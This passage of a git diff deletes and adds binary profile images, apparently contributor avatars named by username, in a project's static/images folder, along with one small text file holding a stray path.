1b0eab37742..00000000000 Binary files a/static/images/samayita.jpg and /dev/null differ diff --git a/static/images/samridhsri.jpg b/static/images/samridhsri.jpg deleted file mode 100644 index 163a2f56ccc..00000000000 Binary files a/static/images/samridhsri.jpg and /dev/null differ diff --git a/static/images/samuuuh.png b/static/images/samuuuh.png deleted file mode 100644 index ea671b866a4..00000000000 Binary files a/static/images/samuuuh.png and /dev/null differ diff --git a/static/images/sankalp.jpg b/static/images/sankalp.jpg deleted file mode 100644 index fac9c09753f..00000000000 Binary files a/static/images/sankalp.jpg and /dev/null differ diff --git a/static/images/sankalproy11.png b/static/images/sankalproy11.png new file mode 100644 index 00000000000..68c00cca9c2 Binary files /dev/null and b/static/images/sankalproy11.png differ diff --git a/static/images/santosh50.png b/static/images/santosh50.png deleted file mode 100644 index b202f0e8db1..00000000000 Binary files a/static/images/santosh50.png and /dev/null differ diff --git a/static/images/sanxy.png b/static/images/sanxy.png deleted file mode 100644 index 04021e6ddce..00000000000 Binary files a/static/images/sanxy.png and /dev/null differ diff --git a/static/images/sarthakroy2002.jpg b/static/images/sarthakroy2002.jpg old mode 100644 new mode 100755 index cc46f5da429..883ac227112 Binary files a/static/images/sarthakroy2002.jpg and b/static/images/sarthakroy2002.jpg differ diff --git a/static/images/sarvesh4396.jpg b/static/images/sarvesh4396.jpg deleted file mode 100644 index f06392aa1bf..00000000000 Binary files a/static/images/sarvesh4396.jpg and /dev/null differ diff --git a/static/images/saswat10.jpg b/static/images/saswat10.jpg new file mode 100644 index 00000000000..3e68dd24e05 Binary files /dev/null and b/static/images/saswat10.jpg differ diff --git a/static/images/satyedra.jpg b/static/images/satyedra.jpg new file mode 100644 index 00000000000..5d484b6407f Binary files /dev/null and b/static/images/satyedra.jpg differ diff --git a/static/images/saurav-navdhare.png b/static/images/saurav-navdhare.png deleted file mode 100644 index 13b0a93c12a..00000000000 Binary files a/static/images/saurav-navdhare.png and /dev/null differ diff --git a/static/images/sayam-alvi.jpg b/static/images/sayam-alvi.jpg deleted file mode 100644 index c5198e00018..00000000000 Binary files a/static/images/sayam-alvi.jpg and /dev/null differ diff --git a/static/images/screen-2.jpg b/static/images/screen-2.jpg deleted file mode 100644 index f220575e2c4..00000000000 Binary files a/static/images/screen-2.jpg and /dev/null differ diff --git a/static/images/seon22break.png b/static/images/seon22break.png deleted file mode 100644 index b0d8038662e..00000000000 Binary files a/static/images/seon22break.png and /dev/null differ diff --git a/static/images/sergi0456.jpg b/static/images/sergi0456.jpg deleted file mode 100644 index e4518982f53..00000000000 Binary files a/static/images/sergi0456.jpg and /dev/null differ diff --git a/static/images/shaka0241.jpeg b/static/images/shaka0241.jpeg deleted file mode 100644 index 78a581e85ce..00000000000 Binary files a/static/images/shaka0241.jpeg and /dev/null differ diff --git a/static/images/shashwatwankhedekar.jpeg b/static/images/shashwatwankhedekar.jpeg deleted file mode 100644 index 245a61a9082..00000000000 Binary files a/static/images/shashwatwankhedekar.jpeg and /dev/null differ diff --git a/static/images/sheetal.jpg b/static/images/sheetal.jpg deleted file mode 100644 index 6b3d8e11117..00000000000 Binary files a/static/images/sheetal.jpg and /dev/null differ diff --git a/static/images/shina-blueprint.png b/static/images/shina-blueprint.png deleted file mode 100644 index 22a126b8f4d..00000000000 Binary files a/static/images/shina-blueprint.png and /dev/null differ diff --git a/static/images/shivam-jha2712.jpg b/static/images/shivam-jha2712.jpg deleted file mode 100644 index 9a07c5a9b4f..00000000000 Binary files a/static/images/shivam-jha2712.jpg and /dev/null differ diff --git a/static/images/shivjha-2712.md.jpg b/static/images/shivjha-2712.md.jpg deleted file mode 100644 index e99d84d0a27..00000000000 Binary files a/static/images/shivjha-2712.md.jpg and /dev/null differ diff --git a/static/images/shrey0902.png b/static/images/shrey0902.png deleted file mode 100644 index f3f4eda6a60..00000000000 Binary files a/static/images/shrey0902.png and /dev/null differ diff --git a/static/images/shreya05.jpg b/static/images/shreya05.jpg deleted file mode 100644 index 56011181f5c..00000000000 Binary files a/static/images/shreya05.jpg and /dev/null differ diff --git a/static/images/shrishtrip.png b/static/images/shrishtrip.png deleted file mode 100644 index bcd701d58d6..00000000000 Binary files a/static/images/shrishtrip.png and /dev/null differ diff --git a/static/images/shubham-1903.jpg b/static/images/shubham-1903.jpg deleted file mode 100644 index dfb759f997f..00000000000 Binary files a/static/images/shubham-1903.jpg and /dev/null differ diff --git a/static/images/shubham.jpg b/static/images/shubham.jpg new file mode 100644 index 00000000000..06517239b87 Binary files /dev/null and b/static/images/shubham.jpg differ diff --git a/static/images/shubhamgoyal7125.png b/static/images/shubhamgoyal7125.png deleted file mode 100644 index 64469e3b23f..00000000000 Binary files a/static/images/shubhamgoyal7125.png and /dev/null differ diff --git a/static/images/shubhrai2811.png b/static/images/shubhrai2811.png deleted file mode 100644 index 39dc7037747..00000000000 Binary files a/static/images/shubhrai2811.png and /dev/null differ diff --git a/static/images/shubhrastogi07.jpg b/static/images/shubhrastogi07.jpg deleted file mode 100644 index 96e64e8b3fc..00000000000 Binary files a/static/images/shubhrastogi07.jpg and /dev/null differ diff --git a/static/images/siddharth rai.jpeg b/static/images/siddharth rai.jpeg deleted file mode 100644 index 229f1de223e..00000000000 Binary files a/static/images/siddharth rai.jpeg and /dev/null differ diff --git a/static/images/siddharthav.jpg b/static/images/siddharthav.jpg deleted file mode 100644 index bd0841e10ce..00000000000 Binary files a/static/images/siddharthav.jpg and /dev/null differ diff --git a/static/images/siddharthsinghvats.jpg b/static/images/siddharthsinghvats.jpg deleted file mode 100644 index 7c6e3c91c4b..00000000000 Binary files a/static/images/siddharthsinghvats.jpg and /dev/null differ diff --git a/static/images/siggy73.png b/static/images/siggy73.png deleted file mode 100644 index ca676db0563..00000000000 Binary files a/static/images/siggy73.png and /dev/null differ diff --git a/static/images/sjpulman.jpeg b/static/images/sjpulman.jpeg deleted file mode 100644 index c68739b5b72..00000000000 Binary files a/static/images/sjpulman.jpeg and /dev/null differ diff --git a/static/images/skarless.png b/static/images/skarless.png deleted file mode 100644 index c0a7a9245ec..00000000000 Binary files a/static/images/skarless.png and /dev/null differ diff --git a/static/images/skipfortoday.jpg b/static/images/skipfortoday.jpg deleted file mode 100644 index 7869c42dc94..00000000000 Binary files a/static/images/skipfortoday.jpg and /dev/null differ diff --git a/static/images/slothqae.jpeg b/static/images/slothqae.jpeg deleted file mode 100644 index 62038cf8152..00000000000 Binary files a/static/images/slothqae.jpeg and /dev/null differ diff --git a/static/images/sneha.png b/static/images/sneha.png deleted file mode 100644 index d64dfed5f63..00000000000 Binary files a/static/images/sneha.png and /dev/null differ diff --git a/static/images/sobankhan12.jpg b/static/images/sobankhan12.jpg deleted file mode 100644 index d93510f5c77..00000000000 Binary files a/static/images/sobankhan12.jpg and /dev/null differ diff --git a/static/images/socopoko.jpg b/static/images/socopoko.jpg deleted file mode 100644 index d65f0e2f026..00000000000 Binary files a/static/images/socopoko.jpg and /dev/null differ diff --git a/static/images/solomonuyin.png b/static/images/solomonuyin.png deleted file mode 100644 index 92976dd25b1..00000000000 Binary files a/static/images/solomonuyin.png and /dev/null differ diff --git a/static/images/soumen.jpeg b/static/images/soumen.jpeg deleted file mode 100644 index 65040605a86..00000000000 Binary files a/static/images/soumen.jpeg and /dev/null differ diff --git a/static/images/sourabmaity.png b/static/images/sourabmaity.png new file mode 100644 index 00000000000..a9c05756294 Binary files /dev/null and b/static/images/sourabmaity.png differ diff --git a/static/images/sourav9599.jpg b/static/images/sourav9599.jpg deleted file mode 100644 index 0dc333eaf82..00000000000 Binary files a/static/images/sourav9599.jpg and /dev/null differ diff --git a/static/images/spirizeon.jpg b/static/images/spirizeon.jpg new file mode 100644 index 00000000000..4c9a11e5db3 Binary files /dev/null and b/static/images/spirizeon.jpg differ diff --git a/static/images/srabhayraj.jpg b/static/images/srabhayraj.jpg deleted file mode 100644 index 649126c6d21..00000000000 Binary files a/static/images/srabhayraj.jpg and /dev/null differ diff --git a/static/images/sri-soumya.png b/static/images/sri-soumya.png deleted file mode 100644 index 9e6aab56528..00000000000 Binary files a/static/images/sri-soumya.png and /dev/null differ diff --git a/static/images/srijansingh2003.png b/static/images/srijansingh2003.png deleted file mode 100644 index 666706c6257..00000000000 Binary files a/static/images/srijansingh2003.png and /dev/null differ diff --git a/static/images/ssreenivasashenoy.jpg b/static/images/ssreenivasashenoy.jpg deleted file mode 100644 index 9990104a1b8..00000000000 Binary files a/static/images/ssreenivasashenoy.jpg and /dev/null differ diff --git a/static/images/stefanoleggio.png b/static/images/stefanoleggio.png deleted file mode 100644 index 220ac5a14e3..00000000000 Binary files a/static/images/stefanoleggio.png and /dev/null differ diff --git a/static/images/subarnapkrl.jpeg b/static/images/subarnapkrl.jpeg deleted file mode 100644 index acbc8c39b93..00000000000 Binary files a/static/images/subarnapkrl.jpeg and /dev/null differ diff --git a/static/images/suchismita004 b/static/images/suchismita004 deleted file mode 100644 index ab19a10348a..00000000000 --- a/static/images/suchismita004 +++ /dev/null @@ -1 +0,0 @@ -static/images/.png diff --git a/static/images/suddhabrato.jpg b/static/images/suddhabrato.jpg deleted file mode 100644 index 25112ac32df..00000000000 Binary files a/static/images/suddhabrato.jpg and /dev/null differ diff --git a/static/images/sukalaper.jpg b/static/images/sukalaper.jpg deleted file mode 100644 index 774dd266c98..00000000000 Binary files a/static/images/sukalaper.jpg and /dev/null differ diff --git a/static/images/sukriti-kuila.jpg b/static/images/sukriti-kuila.jpg deleted file mode 100644 index be912921e7d..00000000000 Binary files a/static/images/sukriti-kuila.jpg and /dev/null differ diff --git a/static/images/suman.jpeg b/static/images/suman.jpeg deleted file mode 100644 index a33c64743b5..00000000000 Binary files a/static/images/suman.jpeg and /dev/null differ diff --git a/static/images/sumit.jpg b/static/images/sumit.jpg deleted file mode 100644 index 2338a5c4b08..00000000000 Binary files a/static/images/sumit.jpg and /dev/null differ diff --git a/static/images/sumopht.jpg b/static/images/sumopht.jpg deleted file mode 100644 index 3d54520e964..00000000000 Binary files a/static/images/sumopht.jpg and /dev/null differ diff --git a/static/images/swatichauhan814.png b/static/images/swatichauhan814.png new file mode 100644 index 00000000000..4b0d64aead8 Binary files /dev/null and b/static/images/swatichauhan814.png differ diff --git a/static/images/syedtalaljilani.jpg b/static/images/syedtalaljilani.jpg deleted file mode 100644 index ab3de411621..00000000000 Binary files a/static/images/syedtalaljilani.jpg and /dev/null differ diff --git a/static/images/syon001.png b/static/images/syon001.png deleted file mode 100644 index 71e8e687e7a..00000000000 Binary files a/static/images/syon001.png and /dev/null differ diff --git a/static/images/tanht027.jpg b/static/images/tanht027.jpg deleted file mode 100644 index c2ee7bb0e03..00000000000 Binary files a/static/images/tanht027.jpg and /dev/null differ diff --git a/static/images/tapeshduagithub.jpg b/static/images/tapeshduagithub.jpg deleted file mode 100644 index 044d5b4182f..00000000000 Binary files a/static/images/tapeshduagithub.jpg and /dev/null differ diff --git a/static/images/tengen_uzui.jpg b/static/images/tengen_uzui.jpg deleted file mode 100644 index dc7895c9384..00000000000 Binary files a/static/images/tengen_uzui.jpg and /dev/null differ diff --git a/static/images/thaariqnst.png b/static/images/thaariqnst.png deleted file mode 100644 index 26b8afb1dae..00000000000 Binary files a/static/images/thaariqnst.png and /dev/null differ diff --git a/static/images/thanmaisai.jpeg b/static/images/thanmaisai.jpeg deleted file mode 100644 index bf67bcfb382..00000000000 Binary files a/static/images/thanmaisai.jpeg and /dev/null differ diff --git a/static/images/thecooldev.png b/static/images/thecooldev.png deleted file mode 100644 index dae3c7b6370..00000000000 Binary files a/static/images/thecooldev.png and /dev/null differ diff --git a/static/images/therealdhruv.png b/static/images/therealdhruv.png new file mode 100644 index 00000000000..dd0795730b3 Binary files /dev/null and b/static/images/therealdhruv.png differ diff --git a/static/images/thisisamanmishra.png b/static/images/thisisamanmishra.png deleted file mode 100644 index 5645e036333..00000000000 Binary files a/static/images/thisisamanmishra.png and /dev/null differ diff --git a/static/images/thisisharsh7.jpg b/static/images/thisisharsh7.jpg deleted file mode 100644 index 2dc3e26b6b3..00000000000 Binary files a/static/images/thisisharsh7.jpg and /dev/null differ diff --git a/static/images/tinaM17.jpg b/static/images/tinaM17.jpg new file mode 100644 index 00000000000..65e1fb7a839 Binary files /dev/null and b/static/images/tinaM17.jpg differ diff --git a/static/images/tirthkp.jpeg b/static/images/tirthkp.jpeg deleted file mode 100644 index 588da9ce448..00000000000 Binary files a/static/images/tirthkp.jpeg and /dev/null differ diff --git a/static/images/tiwarishubham635.png b/static/images/tiwarishubham635.png deleted file mode 100644 index fe582dfb1b2..00000000000 Binary files a/static/images/tiwarishubham635.png and /dev/null differ diff --git a/static/images/tom2.png b/static/images/tom2.png deleted file mode 100644 index 8f99dd94a92..00000000000 Binary files a/static/images/tom2.png and /dev/null differ diff --git a/static/images/touhidulshawan.jpg b/static/images/touhidulshawan.jpg deleted file mode 100644 index 0aad000af34..00000000000 Binary files a/static/images/touhidulshawan.jpg and /dev/null differ diff --git a/static/images/toukircopy.jpg b/static/images/toukircopy.jpg deleted file mode 100644 index 0694bcd5fff..00000000000 Binary files a/static/images/toukircopy.jpg and /dev/null differ diff --git a/static/images/tylerb.png b/static/images/tylerb.png deleted file mode 100644 index acafca874db..00000000000 Binary files a/static/images/tylerb.png and /dev/null differ diff --git a/static/images/tylerwolf35.pg b/static/images/tylerwolf35.pg deleted file mode 100644 index c884218434a..00000000000 Binary files a/static/images/tylerwolf35.pg and /dev/null differ diff --git a/static/images/umar136.jpg b/static/images/umar136.jpg deleted file mode 100644 index 97ffdf24992..00000000000 Binary files a/static/images/umar136.jpg and /dev/null differ diff --git a/static/images/unnamed.jpg b/static/images/unnamed.jpg deleted file mode 100644 index 106f23e1a4d..00000000000 Binary files a/static/images/unnamed.jpg and /dev/null differ diff --git a/static/images/usernamex.png b/static/images/usernamex.png deleted file mode 100644 index 646f4f0258e..00000000000 Binary files a/static/images/usernamex.png and /dev/null differ diff --git a/static/images/v.png b/static/images/v.png new file mode 100644 index 00000000000..5ea0088ca9c Binary files /dev/null and b/static/images/v.png differ diff --git a/static/images/vaibhav-87.jpg b/static/images/vaibhav-87.jpg deleted file mode 100644 index 76bcf2546d0..00000000000 Binary files a/static/images/vaibhav-87.jpg and /dev/null differ diff --git a/static/images/vaibhavkumar779.jpeg b/static/images/vaibhavkumar779.jpeg deleted file mode 100644 index 54db48abbdf..00000000000 Binary files a/static/images/vaibhavkumar779.jpeg and /dev/null differ diff --git a/static/images/vaishnavitnaik.png b/static/images/vaishnavitnaik.png new file mode 100644 index 00000000000..959d0520822 Binary files /dev/null and b/static/images/vaishnavitnaik.png differ diff --git a/static/images/vale-c-profile-picture.png b/static/images/vale-c-profile-picture.png deleted file mode 100644 index 00f1b8ef290..00000000000 Binary files a/static/images/vale-c-profile-picture.png and /dev/null differ diff --git a/static/images/vashu-modified.png b/static/images/vashu-modified.png deleted file mode 100644 index a082524a899..00000000000 Binary files a/static/images/vashu-modified.png and /dev/null differ diff --git a/static/images/vasundhara.jpg b/static/images/vasundhara.jpg deleted file mode 100644 index 75c9ba8e731..00000000000 Binary files a/static/images/vasundhara.jpg and /dev/null differ diff --git a/static/images/vcvedika.png b/static/images/vcvedika.png deleted file mode 100644 index 9e1473aa0db..00000000000 Binary files a/static/images/vcvedika.png and /dev/null differ diff --git a/static/images/vikashvsp.JPG b/static/images/vikashvsp.JPG deleted file mode 100644 index e770dffc7b1..00000000000 Binary files a/static/images/vikashvsp.JPG and /dev/null differ diff --git a/static/images/vinay-alt.jpg b/static/images/vinay-alt.jpg deleted file mode 100644 index e17874ea7bf..00000000000 Binary files a/static/images/vinay-alt.jpg and /dev/null differ diff --git a/static/images/vinay_pathak.jpg b/static/images/vinay_pathak.jpg new file mode 100644 index 00000000000..6fd6d96a82b Binary files /dev/null and b/static/images/vinay_pathak.jpg differ diff --git a/static/images/vivekPatil45.jpg b/static/images/vivekPatil45.jpg new file mode 100644 index 00000000000..6016030989b Binary files /dev/null and b/static/images/vivekPatil45.jpg differ diff --git a/static/images/white-photo1664609920.jpeg b/static/images/white-photo1664609920.jpeg deleted file mode 100644 index 493341e535b..00000000000 Binary files a/static/images/white-photo1664609920.jpeg and /dev/null differ diff --git a/static/images/wp.jpg b/static/images/wp.jpg deleted file mode 100644 index 48435d3f09f..00000000000 Binary files a/static/images/wp.jpg and /dev/null differ diff --git a/static/images/xx.png b/static/images/xx.png deleted file mode 100644 index 12d87bde138..00000000000 Binary files a/static/images/xx.png and /dev/null differ diff --git a/static/images/yakatyansh.jpg b/static/images/yakatyansh.jpg deleted file mode 100644 index d6c3d0d03ed..00000000000 Binary files a/static/images/yakatyansh.jpg and /dev/null differ diff --git a/static/images/yashjain1974.jpg b/static/images/yashjain1974.jpg deleted file mode 100644 index 995200b71b7..00000000000 Binary files a/static/images/yashjain1974.jpg and /dev/null differ diff --git a/static/images/yawar.png b/static/images/yawar.png deleted file mode 100644 index 32d08f36ee8..00000000000 Binary files a/static/images/yawar.png and /dev/null differ diff --git a/static/images/yonisaka.jpg b/static/images/yonisaka.jpg deleted file mode 100644 index a16d34c71b8..00000000000 Binary files a/static/images/yonisaka.jpg and /dev/null differ diff --git a/static/images/yusra05.jpg b/static/images/yusra05.jpg new file mode 100644 index 00000000000..b748c8b877c Binary files /dev/null and b/static/images/yusra05.jpg differ diff --git a/static/images/yusril.jpeg b/static/images/yusril.jpeg deleted file mode 100644 index bc1bad0fd9b..00000000000 Binary files a/static/images/yusril.jpeg and /dev/null differ diff --git a/static/images/zuzexx.jpg b/static/images/zuzexx.jpg deleted file mode 100644 index 4a8f4ef2285..00000000000 Binary files a/static/images/zuzexx.jpg and /dev/null differ